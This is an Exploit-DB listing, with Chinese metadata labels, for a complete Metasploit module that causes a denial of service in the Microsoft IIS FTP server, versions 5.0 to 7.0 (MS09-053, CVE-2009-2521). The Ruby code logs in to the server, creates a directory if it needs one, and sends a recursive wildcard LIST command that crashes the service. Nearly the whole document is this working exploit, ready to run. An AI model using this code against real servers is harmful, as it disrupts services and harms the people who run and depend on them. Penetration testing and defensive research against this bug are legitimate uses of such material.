标题: Microsoft IIS 7.0 FTP Server - Stack Exhaustion Denial of Service (MS09-053) (Metasploit) EDB-ID: 17476 CVE: 2009-2521 类型: DOS 平台: WINDOWS 发布日期: 2011-07-03 漏洞利用脚本: # Exploit Title: [MS09-053] Microsoft IIS FTP Server <= 7.0 Stack Exhaustion DoS
# Date: Jul 03, 2011
# Updated: Jul 13, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.microsoft.com/
# Version: 5.0 - 7.0
# Tested on: unpatched version of windows xp & 2k3

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Ftp
 include Msf::Auxiliary::Dos

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion Denial of Service',
   'Description'    => %q{
    This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command containing a wildcard. For this exploit to work in most cases, you need 1) a valid ftp account: either read-only or write-access account 2) the "FTP Publishing" service must be configured as "manual" mode in startup type 3) there must be at least one directory under FTP root directory. If your provided FTP account has write-access privilege and there is no single directory, a new directory with random name will be created prior to sending exploit payload.
   },
   'Author'         => [
     'Nikolaos "Kingcope" Rangos',  # Bug Discoverer
     'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'  # Metasploit Module
     ], 
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 4 $',
   'References'     =>
    [
     [ 'CVE', '2009-2521'],
     [ 'BID', '36273'],
     [ 'OSVDB', '57753'],
     [ 'URL', 'https://www.microsoft.com/technet/security/Bulletin/MS09-053.mspx'],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html']

    ],
   'DisclosureDate' => 'Sep 03 2009'))

  register_options([
   OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
   OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'mozilla@example.com' ])
  ])
 end

 def run    
  begin
   return unless connect_login
   print_status('Checking if there is at least one directory ...') 
   res = send_cmd_data(['ls'],'') 
   
   if res.to_s =~ /\<DIR\>          / then
    print_status('Directory found, skipped creating a directory')
   else
    print_status('No single directory found')
    print_status('Attempting to create a directory ...') 
    new_dir = Rex::Text.rand_text_alphanumeric(6)  
    res = send_cmd(['mkd',new_dir])   
    if res =~ /directory created/ then
     print_status("New directory \"#{new_dir}\" was created!")
    else
     print_error('Write-access was denied')
     print_error('Exploit failed')
     disconnect
     return
    end  
   end  
   
   print_status("Sending DoS packets ...") 
   res = send_cmd_datax(['ls','-R */../'],' ')    
   disconnect    
  rescue ::Interrupt
   raise $!
  rescue Errno::ECONNRESET
   print_good("MS IIS FTP Server has crashed successfully.") 
  rescue ::Rex::ConnectionRefused
   print_good("Cannot connect. The server is not running.") 
  end
 end

 # Workaround: modified send_cmd_data function with short sleep time before data_disconnect call
 # Bug Tracker: 4868
 def send_cmd_datax(args, data, mode = 'a', nsock = self.sock)
  args[0] = "LIST"
  # Set the transfer mode and connect to the remove server
  return nil if not data_connect(mode)
  # Our pending command should have got a connection now.
  res = send_cmd(args, true, nsock)
  # make sure could open port
  return nil unless res =~ /^(150|125) /
  # dispatch to the proper method
  begin
   data = self.datasocket.get_once(-1, ftp_timeout)
  rescue ::EOFError
   data = nil
  end
  select(nil,nil,nil,1)
  # close data channel so command channel updates
  data_disconnect
  # get status of transfer
  ret = nil
  ret = recv_ftp_resp(nsock)
  ret = [ ret, data ]
  ret
 end

end URL: https://www.exploit-db.com/exploits/17476